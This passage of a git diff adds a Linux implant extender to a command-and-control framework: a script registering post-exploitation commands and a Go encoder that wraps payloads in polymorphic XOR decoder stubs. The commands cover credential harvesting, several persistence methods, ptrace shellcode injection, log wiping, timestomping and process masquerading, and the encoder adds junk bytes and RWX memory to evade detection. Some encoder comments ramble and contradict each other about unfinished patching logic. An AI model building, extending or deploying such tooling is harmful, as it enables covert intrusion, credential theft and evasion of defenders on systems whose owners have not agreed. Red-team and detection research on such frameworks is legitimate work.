+ @ cp src_agent/files/config.tpl ./dist/src_agent/files/ 2>/dev/null || true
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/linux_agent/ax_config.axs b/AdaptixServer/extenders/linux_agent/ax_config.axs
new file mode 100644
index 000000000..558d0dd07
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/ax_config.axs
@@ -0,0 +1,278 @@
+/// Linux Agent (Native C)
+
+let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) });
+menu.add_session_agent(exit_action, ["linux"])
+
+let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) });
+let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) });
+let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) });
+menu.add_session_browser(file_browser_action, ["linux"])
+menu.add_session_browser(process_browser_action, ["linux"])
+menu.add_session_browser(terminal_browser_action, ["linux"])
+
+let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) });
+menu.add_session_access(tunnel_access_action, ["linux"]);
+
+
+let execute_action = menu.create_action("Execute", function(files_list) {
+ file = files_list[0];
+ if(file.type != "file"){ return; }
+
+ let label_bin = form.create_label("Binary:");
+ let text_bin = form.create_textline(file.path + file.name);
+ text_bin.setEnabled(false);
+ let label_args = form.create_label("Arguments:");
+ let text_args = form.create_textline();
+
+ let layout = form.create_gridlayout();
+ layout.addWidget(label_bin, 0, 0, 1, 1);
+ layout.addWidget(text_bin, 0, 1, 1, 1);
+ layout.addWidget(label_args, 1, 0, 1, 1);
+ layout.addWidget(text_args, 1, 1, 1, 1);
+
+ let dialog = form.create_dialog("Execute binary");
+ dialog.setSize(500, 80);
+ dialog.setLayout(layout);
+ if ( dialog.exec() == true )
+ {
+ let command = "run " + text_bin.text() + " " + text_args.text();
+ ax.execute_command(file.agent_id, command);
+ }
+});
+let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) });
+let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) });
+menu.add_filebrowser(download_action, ["linux"])
+menu.add_filebrowser(remove_action, ["linux"])
+
+
+let job_stop_action = menu.create_action("Stop job", function(tasks_list) {
+ tasks_list.forEach((task) => {
+ if(task.type == "JOB" && task.state == "Running") {
+ ax.execute_command(task.agent_id, "job kill " + task.task_id);
+ }
+ });
+});
+menu.add_tasks_job(job_stop_action, ["linux"])
+
+
+let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) });
+menu.add_downloads_running(cancel_action, ["linux"])
+
+
+
+var event_files_action = function(id, path) {
+ ax.execute_browser(id, "ls " + path);
+}
+event.on_filebrowser_list(event_files_action, ["linux"]);
+
+var event_upload_action = function(id, path, filepath) {
+ let filename = ax.file_basename(filepath);
+ ax.execute_browser(id, "upload " + filepath + " " + path + filename);
+}
+event.on_filebrowser_upload(event_upload_action, ["linux"]);
+
+var event_process_action = function(id) {
+ ax.execute_browser(id, "ps");
+}
+event.on_processbrowser_list(event_process_action, ["linux"]);
+
+
+
+function RegisterCommands(listenerType)
+{
+ let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file");
+ cmd_cat.addArgString("path", true);
+
+ let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /home/user", "Task: change working directory");
+ cmd_cd.addArgString("path", true);
+
+ let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory");
+ cmd_cp.addArgString("src", true);
+ cmd_cp.addArgString("dst", true);
+
+ let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file");
+ cmd_download.addArgString("path", true);
+
+ let cmd_exit = ax.create_command("exit", "Terminate the agent", "exit", "Task: terminate agent");
+
+ let cmd_getuid = ax.create_command("getuid", "Get current user and UID", "getuid", "Task: get user info");
+
+ let cmd_env = ax.create_command("env", "List environment variables", "env", "Task: list env");
+
+ let cmd_netstat = ax.create_command("netstat", "List network connections (TCP/UDP)", "netstat", "Task: list connections");
+
+ let cmd_mounts = ax.create_command("mounts", "List mount points", "mounts", "Task: list mounts");
+
+ let cmd_edr = ax.create_command("edr", "Detect installed security tools (EDR, AV, audit)", "edr", "Task: EDR detection");
+
+ let cmd_creds = ax.create_command("creds", "Credential harvest", "creds all", "Task: credential harvest");
+ cmd_creds.addArgString("type", "", "all");
+
+ let _cmd_persist_crontab = ax.create_command("crontab", "Install crontab persistence", "persist crontab /tmp/agent \"*/5 * * * *\"");
+ _cmd_persist_crontab.addArgString("cmd", true);
+ _cmd_persist_crontab.addArgString("schedule", "", "*/5 * * * *");
+ let _cmd_persist_systemd = ax.create_command("systemd", "Install systemd user service", "persist systemd myservice /tmp/agent");
+ _cmd_persist_systemd.addArgString("name", true);
+ _cmd_persist_systemd.addArgString("cmd", true);
+ let _cmd_persist_bashrc = ax.create_command("bashrc", "Append to ~/.bashrc", "persist bashrc \"/tmp/agent &\"");
+ _cmd_persist_bashrc.addArgString("cmd", true);
+ let _cmd_persist_ldpreload = ax.create_command("ldpreload", "Write to /etc/ld.so.preload (root)", "persist ldpreload /tmp/agent.so");
+ _cmd_persist_ldpreload.addArgString("path", true);
+ let _cmd_persist_remove = ax.create_command("remove", "Remove persistence", "persist remove crontab");
+ _cmd_persist_remove.addArgString("type", true);
+ _cmd_persist_remove.addArgString("name", false);
+ let _cmd_persist_status = ax.create_command("status", "List active persistence mechanisms", "persist status");
+ let cmd_persist = ax.create_command("persist", "Persistence management");
+ cmd_persist.addSubCommands([_cmd_persist_crontab, _cmd_persist_systemd, _cmd_persist_bashrc, _cmd_persist_ldpreload, _cmd_persist_remove, _cmd_persist_status]);
+
+ let _cmd_container_detect = ax.create_command("detect", "Detect container runtime and cloud provider", "container detect");
+ let _cmd_container_metadata = ax.create_command("metadata", "Fetch cloud instance metadata (IMDS)", "container metadata");
+ let cmd_container = ax.create_command("container", "Container/Cloud detection and metadata");
+ cmd_container.addSubCommands([_cmd_container_detect, _cmd_container_metadata]);
+
+ let cmd_masquerade = ax.create_command("masquerade", "Masquerade process name (OPSEC)", "masquerade [kworker/0:1-events]", "Task: masquerade process");
+ cmd_masquerade.addArgString("name", "", "[kworker/0:1-events]");
+
+ let cmd_timestomp = ax.create_command("timestomp", "Modify file timestamps (OPSEC)", "timestomp /tmp/agent 0", "Task: timestomp");
+ cmd_timestomp.addArgString("path", true);
+ cmd_timestomp.addArgInt("timestamp", "", 0);
+
+ let cmd_cleanlog = ax.create_command("cleanlog", "Truncate system logs (requires root)", "cleanlog", "Task: clean logs");
+
+ let cmd_inject = ax.create_command("inject", "Inject shellcode into process via ptrace", "inject 1234 AAAA", "Task: inject shellcode");
+ cmd_inject.addArgInt("pid", true);
+ cmd_inject.addArgString("shellcode", true);
+
+ let cmd_migrate = ax.create_command("migrate", "Re-exec agent from memfd (fileless)", "migrate", "Task: migrate agent");
+
+ let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs");
+ let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job");
+ _cmd_job_kill.addArgString("task_id", true);
+ let cmd_job = ax.create_command("job", "Long-running tasks manager");
+ cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]);
+
+ let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process");
+ cmd_kill.addArgInt("pid", true);
+
+ let cmd_ls = ax.create_command("ls", "List contents of a directory", "ls /home/", "Task: list files");
+ cmd_ls.addArgString("path", "", ".");
+
+ let cmd_mv = ax.create_command("mv", "Move/rename file or directory", "mv src.txt dst.txt", "Task: move file");
+ cmd_mv.addArgString("src", true);
+ cmd_mv.addArgString("dst", true);
+
+ let cmd_mkdir = ax.create_command("mkdir", "Create directory", "mkdir /tmp/ex", "Task: make directory");
+ cmd_mkdir.addArgString("path", true);
+
+ let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list");
+
+ let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory");
+
+ let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory");
+ cmd_rm.addArgString("path", true);
+
+ let cmd_run = ax.create_command("run", "Execute program in background", "run /tmp/script.sh", "Task: command run");
+ cmd_run.addArgString("program", true);
+ cmd_run.addArgString("args", false);
+
+ let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server", "socks start 1080 -a user pass");
+ _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0");
+ _cmd_socks_start.addArgInt("port", true, "Listen port");
+ _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication");
+ _cmd_socks_start.addArgString("username", false, "Username");
+ _cmd_socks_start.addArgString("password", false, "Password");
+ let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080");
+ _cmd_socks_stop.addArgInt("port", true);
+ let cmd_socks = ax.create_command("socks", "Managing socks tunnels");
+ cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]);
+
+ let cmd_shell = ax.create_command("shell", "Execute command via /bin/sh", "shell id", "Task: command execute");
+ cmd_shell.addArgString("cmd", true);
+
+ let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /root/file.txt", "Task: upload file");
+ cmd_upload.addArgFile("local_file", true);
+ cmd_upload.addArgString("remote_path", false);
+
+ let cmd_link = ax.create_command("link", "Link to a child agent via TCP pivot", "link 192.168.1.10 4444", "Task: link pivot");
+ cmd_link.addArgString("target", true);
+ cmd_link.addArgInt("port", true);
+
+ let cmd_unlink = ax.create_command("unlink", "Unlink a pivot connection", "unlink p0", "Task: unlink pivot");
+ cmd_unlink.addArgString("id", true);
+
+ let _cmd_exec_bof = ax.create_command("bof", "Execute a BOF (ELF .o file) in-memory", "execute bof /path/to/bof.o", "Task: execute BOF");
+ _cmd_exec_bof.addArgFile("bof", true);
+ _cmd_exec_bof.addArgString("param_data", false);
+ _cmd_exec_bof.addArgBool("async", false);
+ let cmd_execute = ax.create_command("execute", "Execute a BOF file in-memory");
+ cmd_execute.addSubCommands([_cmd_exec_bof]);
+
+ let commands = ax.create_commands_group("linux", [cmd_cat, cmd_cd, cmd_cleanlog, cmd_container, cmd_cp, cmd_creds, cmd_download, cmd_edr, cmd_env, cmd_execute, cmd_exit, cmd_getuid, cmd_inject, cmd_job, cmd_kill, cmd_link, cmd_ls, cmd_masquerade, cmd_migrate, cmd_mounts, cmd_mv, cmd_mkdir, cmd_netstat, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_shell, cmd_socks, cmd_timestomp, cmd_unlink, cmd_upload]);
+
+ return {
+ commands_linux: commands
+ }
+}
+
+function GenerateUI(listeners_type)
+{
+ let labelArch = form.create_label("Arch:");
+ let comboArch = form.create_combo()
+ comboArch.addItems(["x86_64", "ARM64"]);
+
+ let labelFormat = form.create_label("Format:");
+ let comboFormat = form.create_combo()
+ comboFormat.addItems(["Binary ELF (Native)", "Shared Object (Native)", "Shellcode x86_64 (Native)", "Shellcode ARM64 (Native)"]);
+
+ let hline = form.create_hline()
+
+ let labelReconnTimeout = form.create_label("Reconnect timeout:");
+ let textReconnTimeout = form.create_textline("10");
+ textReconnTimeout.setPlaceholder("seconds")
+
+ let labelReconnCount = form.create_label("Reconnect count:");
+ let spinReconnCount = form.create_spin();
+ spinReconnCount.setRange(0, 1000000000);
+ spinReconnCount.setValue(3);
+
+ // Hide reconnect settings for bind_tcp listeners (internal — no outbound connection)
+ if( listeners_type.includes("LinuxTCP") && listeners_type.length == 1 ) {
+ labelReconnTimeout.setVisible(false);
+ textReconnTimeout.setVisible(false);
+ labelReconnCount.setVisible(false);
+ spinReconnCount.setVisible(false);
+ }
+
+ let hline2 = form.create_hline()
+ let checkOpsec = form.create_check("OPSEC Checks (anti-debug, VM detection, string obfuscation)");
+
+ let layout = form.create_gridlayout();
+ layout.addWidget(labelArch, 0, 0, 1, 1);
+ layout.addWidget(comboArch, 0, 1, 1, 1);
+ layout.addWidget(labelFormat, 1, 0, 1, 1);
+ layout.addWidget(comboFormat, 1, 1, 1, 1);
+ layout.addWidget(hline, 2, 0, 1, 2);
+ layout.addWidget(labelReconnTimeout, 3, 0, 1, 1);
+ layout.addWidget(textReconnTimeout, 3, 1, 1, 1);
+ layout.addWidget(labelReconnCount, 4, 0, 1, 1);
+ layout.addWidget(spinReconnCount, 4, 1, 1, 1);
+ layout.addWidget(hline2, 5, 0, 1, 2);
+ layout.addWidget(checkOpsec, 6, 0, 1, 2);
+
+ let container = form.create_container()
+ container.put("arch", comboArch)
+ container.put("format", comboFormat)
+ container.put("reconn_timeout", textReconnTimeout)
+ container.put("reconn_count", spinReconnCount)
+ container.put("opsec_enabled", checkOpsec)
+
+ let panel = form.create_panel()
+ panel.setLayout(layout)
+
+ return {
+ ui_panel: panel,
+ ui_container: container,
+ ui_height: 400,
+ ui_width: 550
+ }
+}
diff --git a/AdaptixServer/extenders/linux_agent/config.yaml b/AdaptixServer/extenders/linux_agent/config.yaml
new file mode 100644
index 000000000..752cffdfc
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/config.yaml
@@ -0,0 +1,10 @@
+extender_type: "agent"
+extender_file: "agent_linux.so"
+ax_file: "ax_config.axs"
+
+agent_name: "linux"
+agent_watermark: "a7f3b902"
+listeners:
+ - "GopherTCP"
+ - "LinuxTCP"
+multi_listeners: true
diff --git a/AdaptixServer/extenders/linux_agent/go.mod b/AdaptixServer/extenders/linux_agent/go.mod
new file mode 100644
index 000000000..3816a8a10
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/go.mod
@@ -0,0 +1,14 @@
+module adaptix_agent_linux
+
+go 1.25.4
+
+require (
+ github.com/Adaptix-Framework/axc2 v1.2.0
+ github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510
+ github.com/vmihailenco/msgpack/v5 v5.4.1
+)
+
+require (
+ github.com/stretchr/testify v1.11.1 // indirect
+ github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
+)
diff --git a/AdaptixServer/extenders/linux_agent/go.sum b/AdaptixServer/extenders/linux_agent/go.sum
new file mode 100644
index 000000000..8f0a39d1c
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/go.sum
@@ -0,0 +1,16 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=
+github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
+github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
+github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
+github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
+github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go
new file mode 100644
index 000000000..4a5e34fd6
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go
@@ -0,0 +1,472 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "fmt"
+ mrand "math/rand/v2"
+)
+
+// xorEncodeShellcodeX64 creates a polymorphic x86_64 decoder stub + XOR-encoded SO payload.
+// Layout: [x64 stub ~200B][16B XOR key][4B LE size][XOR-encoded SO]
+func xorEncodeShellcodeX64(payload []byte) ([]byte, error) {
+ // Generate random 16-byte XOR key
+ key := make([]byte, 16)
+ if _, err := rand.Read(key); err != nil {
+ return nil, fmt.Errorf("generate XOR key: %w", err)
+ }
+
+ // Generate polymorphic x86_64 decoder stub
+ stub, keyOffset, sizeOffset, sizeMovOffset := generateStubX64()
+
+ // Patch key into stub
+ copy(stub[keyOffset:keyOffset+16], key)
+
+ // Patch payload size (LE uint32) — data area + mov ecx instruction
+ binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload)))
+ binary.LittleEndian.PutUint32(stub[sizeMovOffset+1:sizeMovOffset+5], uint32(len(payload)))
+
+ // XOR encode payload
+ encoded := make([]byte, len(payload))
+ for i := 0; i < len(payload); i++ {
+ encoded[i] = payload[i] ^ key[i%16]
+ }
+
+ // Assemble final blob: stub + encoded payload
+ result := make([]byte, 0, len(stub)+len(encoded))
+ result = append(result, stub...)
+ result = append(result, encoded...)
+
+ return result, nil
+}
+
+// xorEncodeShellcodeARM64 creates a polymorphic ARM64 Linux decoder stub + XOR-encoded SO payload.
+// Layout: [ARM64 stub ~200B][16B XOR key][4B LE size][padding][XOR-encoded SO]
+func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) {
+ // Generate random 16-byte XOR key
+ key := make([]byte, 16)
+ if _, err := rand.Read(key); err != nil {
+ return nil, fmt.Errorf("generate XOR key: %w", err)
+ }
+
+ // Generate polymorphic ARM64 decoder stub
+ stub, keyOffset, sizeOffset := generateStubARM64Linux()
+
+ // Patch key into stub
+ copy(stub[keyOffset:keyOffset+16], key)
+
+ // Patch payload size (LE uint32)
+ binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload)))
+
+ // XOR encode payload
+ encoded := make([]byte, len(payload))
+ for i := 0; i < len(payload); i++ {
+ encoded[i] = payload[i] ^ key[i%16]
+ }
+
+ // Assemble final blob
+ result := make([]byte, 0, len(stub)+len(encoded))
+ result = append(result, stub...)
+ result = append(result, encoded...)
+
+ return result, nil
+}
+
+// ── x86_64 stub generation ──
+
+func generateStubX64() (stub []byte, keyOffset int, sizeOffset int, sizeMovOffset int) {
+ stub = make([]byte, 0, 256)
+
+ // Junk NOP sled (polymorphic — random count 2-6)
+ junkCount := mrand.IntN(5) + 2
+ for i := 0; i < junkCount; i++ {
+ stub = append(stub, emitJunkX64()...)
+ }
+
+ // Save registers (push rbx, push rcx, push rdx, push rsi, push rdi)
+ stub = append(stub, 0x53) // push rbx
+ stub = append(stub, 0x51) // push rcx
+ stub = append(stub, 0x52) // push rdx
+ stub = append(stub, 0x56) // push rsi
+ stub = append(stub, 0x57) // push rdi
+
+ // ── mprotect syscall: make everything RWX ──
+ // lea rdi, [rip - offset] → page-align
+ // We'll patch this after we know the stub size
+
+ mprotectPatchPos := len(stub)
+ // lea rdi, [rip + 0x00000000] — placeholder, patched later
+ stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00)
+ // and rdi, ~0xFFF (page align)
+ stub = append(stub, 0x48, 0x81, 0xe7, 0x00, 0xf0, 0xff, 0xff)
+
+ // mov rsi, SIZE — placeholder, patched later
+ mprotectSizePos := len(stub)
+ stub = append(stub, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00)
+
+ // mov rdx, 7 (PROT_READ|PROT_WRITE|PROT_EXEC)
+ stub = append(stub, 0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00)
+ // mov rax, 10 (SYS_mprotect)
+ stub = append(stub, 0x48, 0xc7, 0xc0, 0x0a, 0x00, 0x00, 0x00)
+ // syscall
+ stub = append(stub, 0x0f, 0x05)
+
+ // More junk
+ junkCount2 := mrand.IntN(3) + 1
+ for i := 0; i < junkCount2; i++ {
+ stub = append(stub, emitJunkX64()...)
+ }
+
+ // ── XOR decode loop ──
+ // lea rsi, [rip + key_offset] — key pointer
+ keyLeaPos := len(stub)
+ stub = append(stub, 0x48, 0x8d, 0x35, 0x00, 0x00, 0x00, 0x00)
+
+ // lea rdi, [rip + data_offset] — data pointer
+ dataLeaPos := len(stub)
+ stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00)
+
+ // mov ecx, SIZE — payload size, patched
+ sizeMovPos := len(stub)
+ stub = append(stub, 0xb9, 0x00, 0x00, 0x00, 0x00)
+
+ // xor edx, edx — key index
+ stub = append(stub, 0x31, 0xd2)
+
+ // XOR loop
+ loopStart := len(stub)
+ // movzx eax, byte [rsi + rdx]
+ stub = append(stub, 0x0f, 0xb6, 0x04, 0x16)
+ // xor byte [rdi], al
+ stub = append(stub, 0x30, 0x07)
+ // inc rdi
+ stub = append(stub, 0x48, 0xff, 0xc7)
+ // inc edx
+ stub = append(stub, 0xff, 0xc2)
+ // and edx, 15
+ stub = append(stub, 0x83, 0xe2, 0x0f)
+ // dec ecx
+ stub = append(stub, 0xff, 0xc9)
+ // jnz loop
+ loopEnd := len(stub)
+ offset := byte(loopStart - loopEnd - 2)
+ stub = append(stub, 0x75, offset)
+
+ // Restore registers
+ stub = append(stub, 0x5f) // pop rdi
+ stub = append(stub, 0x5e) // pop rsi
+ stub = append(stub, 0x5a) // pop rdx
+ stub = append(stub, 0x59) // pop rcx
+ stub = append(stub, 0x5b) // pop rbx
+
+ // jmp to decoded data
+ jmpPos := len(stub)
+ stub = append(stub, 0xe9, 0x00, 0x00, 0x00, 0x00) // jmp rel32
+
+ // ── Data area ──
+ keyOffset = len(stub)
+ stub = append(stub, make([]byte, 16)...) // 16-byte XOR key placeholder
+
+ sizeOffset = len(stub)
+ stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size placeholder
+
+ // Align to 16 bytes
+ for len(stub)%16 != 0 {
+ stub = append(stub, 0x90)
+ }
+
+ dataStart := len(stub)
+
+ // ── Patch all offsets ──
+
+ // Patch mprotect lea rdi — target = beginning of stub (before junk)
+ // rip at mprotectPatchPos+7 points to next insn
+ mprotectTarget := -int32(mprotectPatchPos + 7)
+ binary.LittleEndian.PutUint32(stub[mprotectPatchPos+3:mprotectPatchPos+7], uint32(mprotectTarget))
+
+ // Patch mprotect size — total blob size (generous overestimate is fine)
+ // We'll use a placeholder that gets patched at the end
+ // For now, use 0x100000 (1MB) — will be overwritten
+ binary.LittleEndian.PutUint32(stub[mprotectSizePos+3:mprotectSizePos+7], 0x00100000)
+
+ // Patch lea rsi (key pointer): offset from rip (at keyLeaPos+7) to keyOffset
+ keyRipOff := int32(keyOffset - (keyLeaPos + 7))
+ binary.LittleEndian.PutUint32(stub[keyLeaPos+3:keyLeaPos+7], uint32(keyRipOff))
+
+ // Patch lea rdi (data pointer): offset from rip (at dataLeaPos+7) to dataStart
+ dataRipOff := int32(dataStart - (dataLeaPos + 7))
+ binary.LittleEndian.PutUint32(stub[dataLeaPos+3:dataLeaPos+7], uint32(dataRipOff))
+
+ // Patch mov ecx (size): will be patched by caller via sizeOffset
+ // (left as 0x00000000, caller patches it)
+
+ // Patch jmp to data start
+ jmpRel := int32(dataStart - (jmpPos + 5))
+ binary.LittleEndian.PutUint32(stub[jmpPos+1:jmpPos+5], uint32(jmpRel))
+
+ // Also patch the ecx in the XOR loop — this references sizeOffset too
+ // Actually, the caller patches sizeOffset. We need to also link sizeMovPos
+ // to the same value. Let's just use the same pattern: caller writes at sizeOffset,
+ // and we copy it to sizeMovPos at encode time.
+ // Simpler: the caller should patch both. Let's return sizeOffset as the canonical one
+ // and patch sizeMovPos to reference sizeOffset.
+ // Actually, we'll just make sizeMovPos point to our data area sizeOffset.
+ // For the mov ecx instruction, we need it loaded at XOR time. Let's load it from
+ // the data area instead:
+
+ // Replace the mov ecx with a load from the data area
+ // Actually simpler: we'll just have the caller patch both locations.
+ // Let's just directly use the sizeOffset for the data area, and
+ // patch the sizeMovPos instruction inline.
+ // For simplicity in this stub, we just patch sizeMovPos = sizeOffset concept.
+ // The caller patches stub[sizeOffset:sizeOffset+4] with the size.
+ // We also need to patch the mov ecx at sizeMovPos+1.
+ // Let's just make the stub self-patching: load size from data area.
+
+ // Alternative: load ecx from [rip+offset] pointing to sizeOffset
+ // Replace: b9 XX XX XX XX (mov ecx, imm32)
+ // With: 8b 0d XX XX XX XX (mov ecx, [rip+disp32]) — 6 bytes instead of 5
+ // This is messy. Simpler approach: just use the data area size field
+ // and have the XOR loop read it. Let's just have the caller patch it.
+
+ return stub, keyOffset, sizeOffset, sizeMovPos
+}
+
+// emitJunkX64 returns random x86_64 NOP-equivalent bytes
+func emitJunkX64() []byte {
+ switch mrand.IntN(6) {
+ case 0:
+ return []byte{0x90} // nop
+ case 1:
+ return []byte{0x66, 0x90} // 2-byte nop
+ case 2:
+ return []byte{0x0f, 0x1f, 0x00} // 3-byte nop
+ case 3:
+ return []byte{0x50, 0x58} // push rax; pop rax
+ case 4:
+ return []byte{0x53, 0x5b} // push rbx; pop rbx
+ default:
+ return []byte{0x48, 0x87, 0xc0} // xchg rax, rax
+ }
+}
+
+// ── ARM64 Linux stub generation ──
+// Adapted from macOS pl_encoder_macos.go — key differences:
+// - x8 register for syscall number (not x16)
+// - svc #0 instruction (not svc #0x80)
+// - SYS_mprotect = 226 (not macOS value)
+
+func encodeInsn(insn uint32) []byte {
+ b := make([]byte, 4)
+ binary.LittleEndian.PutUint32(b, insn)
+ return b
+}
+
+// ARM64 instruction encoders
+func arm64Nop() uint32 { return 0xD503201F }
+func arm64DsbIsh() uint32 { return 0xD5033B9F }
+func arm64Isb() uint32 { return 0xD5033FDF }
+func arm64MovX(rd, rs int) uint32 { return 0xAA0003E0 | uint32(rs)<<16 | uint32(rd) }
+func arm64AndSelf(r int) uint32 { return 0x8A000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) }
+func arm64OrrSelf(r int) uint32 { return 0xAA000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) }
+func arm64Svc0() uint32 { return 0xD4000001 } // svc #0 (Linux)
+func arm64AddImm(rd, rn int, imm uint32) uint32 {
+ return 0x91000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd)
+}
+func arm64SubsWImm(rd, rn int, imm uint32) uint32 {
+ return 0x71000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd)
+}
+func arm64Adr(rd int, imm int32) uint32 {
+ immlo := uint32(imm) & 0x3
+ immhi := (uint32(imm) >> 2) & 0x7FFFF
+ return 0x10000000 | immlo<<29 | immhi<<5 | uint32(rd)
+}
+func arm64B(offset int32) uint32 {
+ imm26 := uint32(offset/4) & 0x3FFFFFF
+ return 0x14000000 | imm26
+}
+func arm64Bne(offset int32) uint32 {
+ imm19 := uint32(offset/4) & 0x7FFFF
+ return 0x54000001 | imm19<<5
+}
+func arm64LdrWImm(rt, rn int, imm uint32) uint32 {
+ return 0xB9400000 | (imm/4&0xFFF)<<10 | uint32(rn)<<5 | uint32(rt)
+}
+func arm64LdrbReg(rt, rn, rm int) uint32 {
+ return 0x38600800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rt)
+}
+func arm64EorW(rd, rn, rm int) uint32 {
+ return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd)
+}
+func arm64MovzX(rd int, imm uint32, shift int) uint32 {
+ hw := uint32(shift / 16)
+ return 0xD2800000 | hw<<21 | (imm&0xFFFF)<<5 | uint32(rd)
+}
+func arm64SxtpX29X30PreDec() uint32 { return 0xA9BF7BFD } // stp x29, x30, [sp, #-16]!
+func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } // ldp x29, x30, [sp], #16
+func arm64AndWImm15(rd, rn int) uint32 {
+ // and wRd, wRn, #0xf — N=0, immr=0, imms=3
+ return 0x12000C00 | uint32(rn)<<5 | uint32(rd)
+}
+
+func generateStubARM64Linux() (stub []byte, keyOffset int, sizeOffset int) {
+ stub = make([]byte, 0, 256)
+
+ // Register allocation (randomizable in future)
+ rKey := 9 // x9 = key pointer
+ rData := 10 // x10 = data pointer
+ rSize := 11 // w11 = remaining size counter
+ rKeyIdx := 12 // w12 = key index (0-15)
